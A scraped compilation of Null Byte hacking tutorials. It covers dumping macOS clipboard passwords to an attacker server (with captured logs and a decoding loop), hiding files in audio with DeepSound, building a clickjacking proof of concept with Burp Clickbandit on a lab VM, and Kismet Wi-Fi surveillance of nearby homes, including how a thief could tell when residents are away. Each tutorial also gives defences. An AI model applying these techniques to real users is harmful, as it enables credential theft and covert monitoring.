/ [Sun Jun 9 09:03:56 2019] 199.195.250.77:38894 [200]: / [Sun Jun 9 09:04:02 2019] 199.195.250.77:40646 [200]: / [Sun Jun 9 09:04:10 2019] 209.141.58.114:45602 [200]: /View the clipboard.txt contents withcatto find the encoded passwords. KeePassX and 1Password automatically clear the clipboard after ten and thirty seconds, respectively. LastPass states it clears the clipboard "after a default amount of time." Empty deliveries from the MacBook appear as "Cg==" encoded.~/phpServer# cat clipboard.txt WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg== Cg== dGhpcyBpcyBteSBwYXNzd29yZAo= UHdVN1YzWzg3a3ZUPyNed01QKF9jVHltNj8iPjoifTp7Kl5gYH4K WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg== Cg== WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==The following command will automatically decode all of the base64 strings in the clipboard.txt file. All of the below strings are passwords captured while using KeePassX, 1Password, and LastPass.~/phpServer# cat clipboard.txt | while read -r password; do base64 -d <<< "$password"; done YT4n3M4sCpjpsTV7LkZoK this is my password PwU7V3[87kvT?#^wMP(_cTym6?">:"}:{*^``~ YT4n3M4sCpjpsTV7LkZoK YT4n3M4sCpjpsTV7LkZoKLive Off the Land (Conclusion)Penetration testers are encouraged to utilize as many resources already present in the compromised operating system (i.e., "living off the land"). LikecURL,Netcat,Bash, andLibreSSL, pbpaste is yet anotherbuilt-in tooleasily abused by a hacker duringpost-exploitation engagements.Attackers will explore every avenue to discover a target's login passwords. Pbpaste makes dumping credentials stored in password managers almost too easy.How to Protect Yourself from Clipboard DumpingTo prevent an attacker from having an opportunity to dump the clipboard, install the official1Password browser extensionorLastPass browser extension. They are available for all modern web browsers. For KeePassX users,similar browser extensions exist, but none have been officially audited or tested.For 1Password, once the extension is installed, enable the "1Password Extension Helper" when prompted. Then, the helper would allow 1Password to autofill credentials while logging into websites. Autofill does not use the clipboard at all, therefore preventing a clipboard attack. The process is similar for the LastPass extension.Keep in mind that neither work 100% of the time. Sometimes, it's necessary to copy passwords to the clipboard when autofill on a website does not work.If you must copy a password, you can adjust the clipboard settings for the password manager. For instance, you can go open 1Password's preferences, select "Security," then enter a time in seconds by "Clear clipboard contents after." Make it as short as can be. In the hacks above, we used five-second intervals, so three or four seconds may be useful, but that doesn't mean a hacker won't be able to grab a password if it checks the clipboard at the right moment or if the time interval is decreased.Overall, there is no built-in way to clear the clipboard on macOS after a set amount of time or as soon as an item is pasted, nor would it be advisable since the clipboard is used for more than just passwords.You could build a Service for "Clear Clipboard" and assign it a keyboard shortcut likeCommand+Down Arrow. Then, you can manually clear the clipboard after pasting a password, so it's not sitting in there longer than necessary. Justbuild the Service with Automator, but use the following as the "Run Shell Script." However, you'd run into the same problem as described above about the clipboard being exfiltrated at the right moment or with a smaller interval before checks.pbcopy </dev/nullIf you enjoyed this article, follow me on Twitter@tokyoneon_. For questions and concerns, leave a comment or message me on Twitter.Don't Miss:Create a Fake PDF Trojan with AppleScriptFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by tokyoneon/Null ByteRelatedMac for Hackers:How to Manage Your Passwords with KeePassXHow To:The 4 Best Password Managers for AndroidHow To:Use Third-Party Password Managers with iOS 12's AutoFill FeatureHow To:The 4 Best Password Managers for iPhoneHow To:It's Really No Contest — LastPass Is the Best Password Manager for iPhone & AndroidHow To:Use Biometrics to Change Your LastPass Master Password from Your PhoneNews:Why You Still Shouldn't Use iCloud Keychain to Store Your Passwords in iOS 12How To:This LastPass Phishing Hack Can Steal All Your Passwords—Here's How to Prevent ItHow To:Dashlane & LastPass Can Now Automatically Strengthen All of Your Weak PasswordsHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHow To:LastPass's AutoFill API Is Finally Out of Beta - Here's How Oreo Users Can Turn It OnHacking macOS:How to Bypass the LuLu Firewall with Google Chrome DependenciesHow To:The Ultimate Guide to Hacking macOSHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHow To:Find Hacked Accounts Online ~ PART 2 - PastebinHow To:Hack Your Roommate! How to Find Stored Site Passwords in Chrome and FirefoxHow To:Password-Protect Your Pages Documents So Only You & Allowed Collaborators Can Access ThemHow To:Dump a MacOS User's Chrome Passwords with EvilOSXMac for Hackers:How to Get Your Mac Ready for HackingHacking macOS:How to Hack a Mac Password Without Changing ItHow To:Exploit Recycled Credentials with H8mail to Break into User AccountsHow To:Create, AutoFill & Store Strong Passwords Automatically for Websites & Apps in iOS 12How To:Drop Everything! Here's How to Secure Your Data After Heartbleed: The Worst Web Security Flaw EverHacking macOS:How to Hack a MacBook with One Ruby CommandHow To:Easily Bypass macOS High Sierra's Login Screen & Get Root (No Password Hacking Required)How To:Use Maltego to Target Company Email Addresses That May Be Vulnerable from Third-Party BreachesHow To:Have Your Passwords Ever Been Leaked Online? Find Out with PwnedListHow To:Perform a Pass-the-Hash Attack & Get System Access on WindowsHow To:Store and manage your passwords on a Windows PC with 1PasswordVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:Use the LastPass Password ManagerHacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)How To:Hack 200 Online User Accounts in Less Than 2 Hours (From Sites Like Twitter, Reddit & Microsoft)How To:The 5 Best Two-Factor Authentication Apps for iPhone & AndroidNews:The 25 Worst Passwords That People Used in 2015How To:Keep track of your passwords on an Android phone with the LastPass appHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHow To:Protect Yourself from macOS High Sierra's Glaring Empty-Password Security FlawHow To:The Safe & Secure Way to Get Your Phone to Remember Your App PasswordsHow To:Hack Facebook & Gmail Accounts Owned by MacOS Targets
The Hacks of Mr. Robot: How to Hide Data in Audio Files « Null Byte :: WonderHowTo
Welcome back, my hacker apprentices!A you know,Mr. Robotis my favorite TV show this year, and not just for the realistic hacking. Rami Malek, the actor who plays Elliot, is incomparable in his depiction of a young man with social anxiety who is alienated from a superficial, materialistic society and wants to make a better world. I believe we will see a lot more of this actor in coming years.In addition, the writing is excellent, although some of the depictions of Evil Corp employees, especially Tyrell Wellick, are a bit two dimensional and cliché. Overall, though, this is one of the best TV shows sinceBreaking Bad!As the plot unfolds, it becomes clear that Elliot hacks and doxes the people in his life (including himself), then stores the information he finds onto CDs. He then labels them with some classic band label.Many have wondered why he'd be doing that and how safe would that be?The answer is that Eliot is hiding the data on those CDs. He is actually copying music to those CDs, then embedding encrypted information on them that only he can recover. So anyone who finds them will see and hear only audio and will be unable to find or retrieve the hidden information. In this way, Elliot's data on his friends and acquaintances is safe from the prying eyes of law enforcement, or for that matter, anyone else.What Elliot is doing is known assteganography, the practice of hiding information within another digital medium (audio, video, or graphic files).For instance, if I wanted to send someone else a secret message, I could place the message within a picture, audio, or video file and send it via email or allow them to download the file from my website. With the proper key and algorithm, they—and only they—could read the secret message. Everyone else would only see the innocuous picture or hear the audio file.Espionage and terrorist organizations have been using these techniques for many years (reportedly, Al Qaeda used these techniques to hide messages on their website to their followers in the 1990s and 2000s).In these episodes ofMr. Robot, Elliot appears to be using a software package named "DeepSound" for hiding information within his audio files, but there are numerous software packages for steganography available, including, but not limited to:QuickStegoAudioSteganoBitCryptMP3StegoSteghideAudioStegoAlthough, in general, hackers useLinux to hack for many good reasons, DeepSound was developed for Windows. In this case, we will be using it on a Windows 7 system, but it can be used on just about any Windows OS.Step 1: Download & Install Deep SoundTo begin, we need to navigate to theDeepSound websiteand download the software.Go ahead and download and install it to your system. Your AV software might balk, identifying it as a virus, but go ahead and allow its installation.Step 2: Deep Sound InterfaceOnce you have completed the installation, you should be greeted by a screen like the one below. Notice that on the left hand side of the screen it is displaying the directory structure of my C: drive. By clicking on the down arrow next to the C: drive above my directory structure, I can browse to other drives or USB devices on my system.The files to the left will be my "carrier" audio files. In other words, these are the files I will use to hide my data in.Step 3: SettingsIf I click on the Settings icon on the top bar, it will bring up a window like that below. I should set my default language (the only other choice besides English is Slovak), my output directory, and my output format. This software package only works with .flac or .wav files. This means that you can't use .mp3 files. This is presumably because .mp3s are compressed and the other two formats are not.Also, make sure you click on the "Encrypt files" check box. This will make certain that your hidden files are encrypted with256-bit AES encryption, among the strongest encryption algorithms available. Finally, add a password that will be used to lock and then unlock the encryption when you or the target of these files wants to recover them. The longer this password, the stronger the encryption.Step 4: Select Audio FilesNext, we need to select audio files to hide the data in. As most of my music, probably like yours, is in .mp3 format, those won't work. Notice that I have some Nora Jones in .flac format that I will use here. (Generally, audiophiles prefer .flac as its quality is superior, but the size is much greater as it is uncompressed. That's why most mobile audio devices use .mp3, they are much smaller files.)I double-click on the audio file and it prepares it for use to hide my files in.Next, click on the "Add files" icon on the top bar. This will prompt you to add the files you want to hide within the audio file. Here, I have a file namedShayla.docthat I want to hide within the Nora Jones audio file.Step 5: EncodeWhen I click onShayla.doc, it adds it to the right window. Now, I need click on the "Encode" icon on the top icon bar.MyShayla.docfile is now encrypted and hidden with my audio file! Not only with this file look and sound like a normal audio file, but if anyone wants the information hidden in it, they will need to decrypt it with the password known only to me.In the case of Elliot inMr. Robot, he now took these audio files and burned them to a CD, but that isn't necessary. Presumably, he is doing that to take another step to secure these files in the case that his computer is ever confiscated and investigated. Any investigation is unlikely to listen to his music CDs.Step 6: DecodeEventually, Elliot, or the person the information is intended for, will need to decode the hidden information. Simply click on the audio file and then the "Extract secret files" icon. When you do, it will prompt you for a password. Enter the password you created in Step #3, hit "OK," and the hidden file will appear in the right hand window.Now, you can read the hidden, secret message using the appropriate software that the message was created in. In this case, it would be Microsoft Word or any other software capable of opening a .doc file.Keep coming back, my hacker apprentices, as we continue to explorethe hacks of Mr. Robotandjust about every other conceivable hack on the planet!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:Samy's MagSpoof Hacking Device Was Just Featured on Mr. RobotSteganography:How to Hide Secret Data Inside an Image or Audio File in SecondsThe Hacks of Mr. Robot:How Elliot & Fsociety Destroyed Evil Corp's DataThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiNews:A Game of Real HackingHow To:Lock Your Photos, Videos, Files, & Passwords in a Digital Safe for iOSThe Hacks of Mr. Robot:How to Spy on Anyone's Smartphone ActivityHow To:Obtain Valuable Data from Images Using Exif ExtractorsNews:ProntonMail under DDoS AttackThe Hacks of Mr. Robot:How to Hack BluetoothHow To:Hack TOR Hidden ServicesThe Hacks of Mr. Robot:How Elliot & Fsociety Made Their Hack of Evil Corp UntraceableNews:HBO's 'Westworld' Snapchat Filter Lets You Take Part in the Robot RevolutionHow To:Conserve Data When Tethering to Your Personal HotspotHow To:Disable the 'Unlock iPhone to Use Accessories' Notification in iOS 11.4.1 & HigherNews:Learn to Code in Python, Part One: Variables, Input and OutputHow To:Things to Do on WonderHowTo (02/08 - 02/14)How To:Get the 'Hide and Seek' Achievement in Batman: Arkham CityMr. Robot:Hacking Sequence ExplainedHow To:Things to Do on WonderHowTo (02/01 - 02/07)News:Metalworker Builds Tiny Marriage-Proposing Robot to Pop the Question for HimSecure Your Computer, Part 4:Use Encryption to Make a Hidden Operating SystemHow To:Don't Get Caught! How to Protect Your Hard Drives from Data ForensicsHow to Hack Your Game Saves:A Basic Guide to Hex EditingNews:Security Flaw in HTC Smartphones Leaks Your Personal Data to Certain Android AppsNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesHow To:Download Your Data with Google TakeoutNews:Cheap Hexapod - Six Legged PVC RobotNews:LEGO BiPed Robot takes a Stroll
How to Generate a Clickjacking Attack with Burp Suite to Steal User Clicks « Null Byte :: WonderHowTo
Users are often the weakest linkwhen probing for vulnerabilities, and it's no surprise they can be easily fooled. One way to do this is called clickjacking. This type of attack tricks the victim into clicking something they didn't mean to click, something under the attacker's control.Burp Suitecontains a useful tool called Clickbandit to generate a clickjacking attack automatically.Clickjacking OverviewClickjacking is a technique used to trick a user into unknowingly clicking on something using multiple layers, usually a button or link, when intending to click on the top layer. This can be accomplished through the use of hidden iframes, text boxes, or stylesheets. Clickjacking, also called UI redressing, is a portmanteau of the words click and hijacking. Thus, the attacker is essentially hijacking the clicks of the user to perform actions without the user's knowledge.In recent years,Facebook"likes" have been the target of this type of attack and has come to be known as Likejacking. Basically, unsuspecting users would be tricked into liking Facebook pages that they didn't mean to like.In this guide, we will be using the vulnerable virtual machineMutillidae, along withBurp Suite, to demonstrate how to quickly and easily craft a clickjacking attack.Using Clickbandit to Craft an AttackTo get started, we need to fire up Mutillidae and Burp Suite. Next, we will configure Burp to work as aproxyin the browser so we can intercept requests.InFirefox, navigate to "Preferences," and scroll all the way down to the section titledNetwork Proxy. Click on the "Settings" button, select "Manual proxy configuration," and enter127.0.0.1as theHTTP Proxyand8080as thePort. Now, check "Use this proxy server for all protocols," and make sure it is blank underNo Proxy for. Click "OK," and we should be good to go.In Burp, go to the "Proxy" tab and make sure "Intercept is on" is enabled. Next, back in Mutillidae, simply browse to the home page where we will perform the clickjacking attack. We should now see the request appear in Burp.At the top of the window, go to the "Burp" menu, and select "Burp Clickbandit" from the drop-down. A new window will pop up with instructions for using this tool.Following the instructions, click the "Copy Clickbandit to clipboard" button, which will copy thescriptto the clipboard. Next, in the browser, go back to the Mutillidae home page. In Burp, we can either forward the request or turn the intercept feature off to reload the page.Next, we need to access the JavaScript console in the browser. In Firefox, we can right-click and select "Inspect Element," then go to the "Console" tab at the top of the window. We can then paste the script into the console (at the >>) and pressEnter.The Clickbandit banner should now appear at the top of the browser, with options to start and finish the proof of concept. We can also check the "Disable click actions" checkbox so that our clicks will not register while we are recording the attack.Now, all we have to do is perform the series of clicks we want the victim to do. In this case, we will simply click the "Login/Register" button. When finished, click "Finish," and the proof of concept will be presented for review.There are also options here to zoom in or out, toggle transparency, move the iframe position using the arrow keys, or reset the attack. When satisfied, hit the "Save" button to save the proof of concept locally as anHTMLfile for later modification and use.When the attack is performed, and the victim clicks the hidden iframe we inserted, a message appears conveying the vulnerability.At this point, the message can be altered in the HTML file or code can be inserted to perform moremalicious activities.Preventing ClickjackingAlthough clickjacking is not part of theOWASP Top 10, it still poses a significant danger to unsuspecting users. Consequences of this type of attack can include simple website defacement, sensitive data exposure, and deletion of private information. Luckily, there are a couple of easy ways to defend against clickjacking.One of the easiest client-side defenses is to use an extension likeNoScript, which contains a feature to prevent users from clicking on invisible or embedded objects.Another more robust approach is to employ the use of Content Security Policy frame-ancestors, a sort of successor to the X-Frame-Options header, to disallow framing from other potentially malicious domains. Yet another defense against clickjacking is to simply ensure that there is code in place to make the current frame the top-level window of the UI at all times.Wrapping UpClickjacking can be a valuable means of attack in the right situations, but it is often time-consuming to manually craft an attack. Burp Suite includes a feature called Clickbandit to automate this process, making it effortless to generate an attack. Once a proof-of-concept is created and a vulnerability is proven to exist, all it takes is some imagination to customize it for an easy point and click hack.Don't Miss:Attack Web Applications with Burp Suite & SQL InjectionFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byFree-Photos/Pixabay; Screenshots by drd_/Null ByteRelatedHow To:Use Burp & FoxyProxy to Easily Switch Between Proxy SettingsHack Like a Pro:How to Hack Web Apps, Part 4 (Hacking Form Authentication with Burp Suite)How To:Leverage a Directory Traversal Vulnerability into Code ExecutionHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHow To:Discover XSS Security Flaws by Fuzzing with Burp Suite, Wfuzz & XSStrikeHack Like a Pro:How to Hack Web Apps, Part 3 (Web-Based Authentication)Hack Like a Pro:How to Crack Online Web Form Passwords with THC-Hydra & Burp SuiteHow To:Hack SAML Single Sign-on with Burp SuiteHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Bypass File Upload Restrictions Using Burp SuiteHow To:Break into Router Gateways with PatatorHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHow To:Attack Web Applications with Burp Suite & SQL InjectionHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)How To:Correctly burp a babyHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:The Paranoid Mac Owner's Guide to Defeating Remote Snooping & Evil Maid AttacksNews:'Impossible to Identify' Website Phishing Attack Leaves Chrome & Firefox Users Vulnerable (But You Can Prevent It)How to Hack Windows 7:Sending Vulnerable Shortcut FilesHack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureSubterfuge:MITM Automated Suite That Looks Just Lame.Hacking Android:How to Create a Lab for Android Penetration TestingHow To:Write an XSS Cookie Stealer in JavaScript to Steal PasswordsHow To:Generate Word-Lists with Python for Dictionary AttacksHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)News:Easy Skype iPhone Exploit Exposes Your Phone Book & MoreHow To:How Hackers Steal Your Cash on Trusted Sites & How to Prevent Against ItNews:CELTX - Free media pre-production toolsNews:WordPress Click-jacking AttackNews:Indie and Mainstream Online Games Shut Down by LulzSecNinja Saga Tutorial:User Interface MapsHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsNews:The Myths of Limited WarHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:How Hackers Steal Your Internet & How to Defend Against ItNews:How-To-Generate Thousands Of Valid Email IDs
How to Use Kismet to Watch Wi-Fi User Activity Through Walls « Null Byte :: WonderHowTo
Your home has walls for privacy, but Wi-Fi signals passing through them and can be detected up to a mile away with a directional Wi-Fi antenna and a direct line of sight. An amazing amount of information can be learned from this data, including when residents come and go, the manufacturer of all nearby wireless devices, and what on the network is in use at any given time.While we've coveredKismet for wardriving, in which we added a GPS to the mix and drove around to geolocate wireless networks, using Kismet in a fixed position can yield more nuanced information about fixed targets. Rather than simply looking for what access points (APs) are out there, Kismet is excellent at displaying relationships between devices over time.Using Kismet to spy on users draws from signal intelligence techniques, in which we try to learn about something we can't see by the signals it's giving off. In this case, we are dealing with Wi-Fi, and what we are trying to see is routers and connected devices, human activity, and what devices belong to who. This is enough to piece together a lot more than you might think.If you knew someone could see not just if you were home or not, but whether you were on your PlayStation or your laptop at any given time, you might be more inclined to switch to a wired network or at least turn Wi-Fi off on devices when you're not using them.Don't Miss:How to Wardrive on an Android Phone to Map Vulnerable NetworksTo work its magic, Kismet uses a wireless network card put in monitor mode to silently scan all available Wi-Fi channels in range for wireless packets. These packets can be automated beacon frames, which wireless APs broadcast multiple times per second, data packets exchanged from associated devices, or probe frames from devices nearby which aren't yet connected to a network but are searching for a network to connect to.By decoding and combining this data, Kismet visualizes the networks around you, as well as the activity of devices connected to those networks.What Can Wi-Fi Tell You?So what can we do with this? Once we identify a network we wish to watch, we can explore nuanced details about it, like what kind of electronics and hardware a business or person has connected to their network. This can allow you to "fingerprint" different types of setups to recognize what a certain configuration of devices might be for. With this setup, a hidden cluster of 3D printers or connected hydroponics gear is as plain as day to see, as are a bunch of smartphones and laptops.The usefulness of this data depends on who you are. To a thief, the ability to snoop around every house in wireless range to discover expensive electronics would be very useful. Since Kismet can easily detect wireless security cameras, we can completely avoid or even potentially target one with a jamming attack. And because we can see when client devices appear, disappear, and use data, it's pretty easy to infer when no one is home.Don't Miss:How to Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesEven better, by simply wardriving around a neighborhood and combining GPS data with the Wi-Fi signal data, a thief can just build a map of what address each wireless network belongs to. In fact, this data may already exist, asWigle Wifiand Google both have more Wi-Fi networks on the planet mapped.Wigle.net displaying mapped wireless networks logged in downtown Los Angeles.It should be noted that can also be used as a kind of neighborhood watch to detect suspicious wireless activity in neighborhoods. This can help spot signs of cybercrime, which can be reported to someone who knows how to investigate it since normal cops typically don't. Whatever your intended use, you don't need much to get started diving into peering straight through the walls around you.What You'll NeedTo follow this guide, you'll only need a few things. The first is aKali-compatible wireless network adapterto scan with, and the second is a Linux system to run Kismet on. While the new version of Kismet can run a variety of wireless cards (including on macOS), we'll be covering the older stable version. We recommend any of the adapters featured inour adapter roundupor a long-rangePanda Wireless PAU09 dual-band adapterfor capturing on both 2.5 and 5 GHz bands.Don't Miss:Buy the Best Wireless Network Adapter for Wi-Fi HackingImage by Kody/Null ByteKismet will work both on a virtual machine anda Kali-Pi installationif you'd prefer to run it on yourRaspberry Pi.Step 1: Install KismetTo installKismeton Kali Linux, we'll first clonethe git repositorywith the command below.git clonehttps://www.kismetwireless.net/git/kismet.gitDepending on which OS you're using, Kismet may not need any dependencies. But to ensure Kismet runs correctly, we should install Kismet's slightly lengthy list of dependencies. These are needed because Kismet deals with detecting, decoding, logging, and sorting lots of wireless data while controlling a wireless card, which requires several libraries to be installed. You can do this by running the following in a terminal window.sudoapt-getinstall build-essential git libmicrohttpd-dev zlib1g-dev libnl-3-dev libnl-genl-3-dev libcap-dev libpcap-dev libncurses5-dev libnm-dev libdw-dev libsqlite3-devNext, navigate to the Kismet directory we created usingcd, and configure the installation.cd kismet./configureThis will configure the installation for your particular OS distribution. When that process is complete, create the installation with:makeWhen this is complete, we'll run the resulting file to complete the installation with thesuidinstalloption. This is important because Kismet is directly taking in signals and writing data to your computer. It is a terrible idea to do this as a root user because if any of that data is malicious, it could be executed as root.When unprivileged users need to accomplish tasks that require privileges, like controlling the wireless network adapter, Linux lets us give privileges to programs instead of users so we don't have to make everyone, including malware, root.To mitigate [giving root access], Kismet uses separate processes to control the network interfaces and capture packets. These capture programs are much smaller than Kismet itself and do minimal (or no) processing on the contents of the packets they receive.—Kismet DocumentationRun the following to complete the SUID installation.sudo make suidinstallAfter Kismet is installed, add yourself to the Kismet group to be able to capture packets as a non-root user. Be sure to replace "YourUsername" with your actual username.sudo usermod -a -G kismet YourUsernameStep 2: Put Your Wireless Card in Monitor ModeAttach your wireless network card to your computer, and if needed, attach it to the virtual machine using the "USB" settings. To find your card, you can use theip aorifconfigcommands. Your card should be named something like "wlan1" or "wlan0."Once you have the name of your card, you can put the card in monitor mode by running the command below.sudoairmon-ngstart YourCardNameThis will put YourCardName (be sure to replace with your actual card's name) in monitor mode. Your card will be renamed to add a "mon" at the end of the name of the card. So, if it was named "wlan0" before, it will now be named "wlan0mon." This change lets us immediately identify that a card is in wireless monitor mode.We will use this new name for the card to launch Kismet.Step 3: Launch KismetStarting Kismet is simple. To start as a non-root user, you can simply type the following.kismet -c YourCardNameMonBe sure to put the name of the card you put in wireless monitor mode after the-c. Kismet uses the-cto specify the capture source.You should see Kismet start up and begin collecting packets. You can press return to go through the menu options until you reach the console window. To go to the main screen, hit thetabbutton and then pressenterto close the console view.Step 4: Persistent Network SurveillanceOnce we start Kismet, we should see a list of all the Wi-Fi devices we can detect nearby. The number of devices detected will vary depending on if you're scanning 2.4 GHz, 5 GHz, or both. If you have the ability to add an antenna to your wireless network adapter, a higher gain (or directional) antenna can extend your range and the number of devices detected.You can arrange these networks by name, signal strength, and other properties. It's advised that you do so by signal strength so that you can see what networks are strongest (and thus closest) first. Once you have a network you'd like to target, click on it (or scroll down to it) in Kismet to learn more information about it.Don't Miss:Networking Basics for the Aspiring HackerUpon highlighting a network, the first thing we'll notice is the list of wireless clients appears in the main window. These are clients that are associated with the network.To learn more about a specific network's clients, you can, after highlighting the network, click on "Windows" and then click on "Client List."In the client window, we can see more information about each client in real time.If you have a network that you want to monitor persistently, it's a good idea to note the channel number. Since Kismet is exploring all channels by hopping through them, you will miss all transmissions on one channel while Kismet is scanning another. This packet fragmentation can cause you to lose data, so once you identify the network you wish to watch, you should switch from "scanning" to persistently monitoring one channel. This will allow you to capture all activity on the channel.To do this, click on "Kismet" in the top-left corner, and then click on "Config Channel."In the configuration window, select "Lock," and then enter the number of the channel you want to monitor.Watch for Patterns & Explore Around YouHuman behavior will have an effect on the wireless signals around you, and Kismet can let you watch these normally imperceivable changes in the wireless environment. It doesn't matter that these networks are encrypted because the relationships between them and plaintext portions of packets are more than enough. By watching the type of traffic flowing across networks, we can take a step beyond simply seeing what is around us and instead begin to learn how these networks are used and by whom.In particular, Kismet has an "Alerts" section in the menu under "Windows" that will warn you of any suspicious wireless behavior. This can detect things like networks switching channels, deauth packets, networks spoofing other networks, and APs that are rapidly switching names. Our writers accidentally turned on aHak5 Wi-Fi Pineapplewhile monitoring with Kismet and nearly had a panic attack when a torrent of incredibly serious sounding alert messages started cascading down our screen detecting what was obviously targeted Wi-Fi hacking.Hiding Your Activity from Cheap & Easy Wireless SurveillanceEarlier, I mentioned that Wi-Fi can be detected nearly a mile away using a directional Wi-Fi antenna. These signals are so strong that they are a backup for GPS navigation for the military via NAVSOP (Navigation via Signals of Opportunity). If the military can fly planes by the light of your Wi-Fi network, maybe it's time to consider if you need it turned to the very highest setting, which it almost definitely is right now, in order to just get Wi-Fi in your house or business.Most people have logged into their router exactly once and never change any of the settings beyond the required ones. While theinstructions are different for each brand of router, nearly every brand will have a power setting. You can turn this down. Way down. Manufacturers jack it all the way up by default so that you don't complain about the signal strength. If you don't have trouble with your Wi-Fi range, reduce it so it only covers the area you need.Anything you want kept secret should be hard-wired, plain and simple. If you can't block the signals from going out of your house and being picked up by a sensitive antenna, don't put those signals out in the first place. If you have to, you can use Kismet to test the range of when someone can pick up data from your network.Hiding Your Devices from the Kismet ListFor client devices, including smartphones, turn off the Wi-Fi setting whenever you don't need it. Your Wi-Fi card can be used to track you anywhere, not just at home or work. This is true even while you are not connected to Wi-Fi. Devices that rely on Wi-Fi to function you can't do much about.Smartphone manufacturers try to randomize the MAC address that your phone advertises while walking around, but this goes out the window as soon as the phone tries to associate with a network it thinks it knows. This is super easy to do to a crowd of people, which means it doesn't stand up to a real attack. Don't believe me? If you change your phone's mobile hotspot to "Google Starbucks," nearly every smartphone nearby will connect to you and reveal it's true MAC address, allowing you to track it.Trust me, just turn it off when you don't need it.Don't Miss:How to Log Wi-Fi Probe Requests from Smartphones & Laptops with ProbemonI hope you enjoyed this quick guide to basic signals intelligence with Kismet! Subscribe to our YouTube and make sure to follow us for more content.Follow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedRaspberry Pi:WiFi AnalyzerHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesHow To:Spy on Network Relationships with Airgraph-NgHow To:Hack Open Hotel, Airplane & Coffee Shop Wi-Fi with MAC Address SpoofingHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestNews:MIT Tech Protects Your WiFi Without PasswordsHow To:Stealthfully Sniff Wi-Fi Activity Without Connecting to a Target RouterWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Check Wi-Fi Reliability & Speed at Hotels Before Booking a RoomHow To:Pick an Antenna for Wi-Fi HackingAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Connect to Protected Wi-Fi Hotspots for Free Without Any PasswordsHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:What All the Bluetooth & Wi-Fi Symbols Mean in iOS 11's New Control Center (Blue, Gray, or Crossed Out)How To:Recover a Lost WiFi Password from Any DeviceHow To:Get the Strongest Wi-Fi Connection on Your Android Every TimeHow To:Having Connection Issues on Android Pie? Turn Off 